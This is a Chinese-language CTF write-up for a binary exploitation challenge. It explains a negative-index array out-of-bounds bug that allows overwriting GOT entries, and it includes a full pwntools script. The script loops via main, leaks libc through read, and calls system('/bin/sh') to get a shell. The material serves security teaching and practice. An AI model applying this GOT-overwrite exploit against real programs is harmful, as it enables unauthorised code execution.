查一下程序保护情况
发现是partial relro,说明got表是可以修改的,下一步看代码逻辑
看到这一段 puts(&seats[16 * v0]);存在数组越界的漏洞,因为上面的代码没有对v0进行负数的限制,v0可以是负数,我们来看一下seat的数据
可以发现seat上面的数据就是got表,seat到exit的距离只需要传入v0=-6就可访问,然后就是-7可以访问到read(因为索引是16*v0),以此类推。
此时我们再来看看read(0, &seats[16 * v0], 0x10uLL);这段代码,这段代码表示向里面读入数据,如果我们控制了exit的got表的地址,修改其内容为main函数的地址,那么程序就可以循环运行下去。
exp:
# coding=utf-8
from pwn import *
context.log_level='debug'
p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc-2.31.so')
p.sendline(b'-6')
p.sendafter(b'name',p64(elf.symbols['main']))
p.sendlineafter(b'one.\n',b'-7')
p.sendafter(b'name',b'\xc0') 这里是没啥用的,只是为了输入东西,但是又不能影响read函数的地址,c0是再libc-2.31.so查出来的,是read函数偏移的最后一个字节
p.recvuntil(b'Your name is ')
libc_base=u64(p.recv(6)+b'\x00\x00')-libc.symbols['read'] 然后就是后面的代码那边的puts函数泄露地址,libc攻击
print('libc_base:'+hex(libc_base))
system_addr=libc_base+libc.symbols['system']
p.sendlineafter(b'one.\n',b'-9') 利用代码段中puts函数的参数,构造/bin/sh
p.sendafter(b'name',b'/bin/sh\x00'+p64(system_addr))
p.interactive()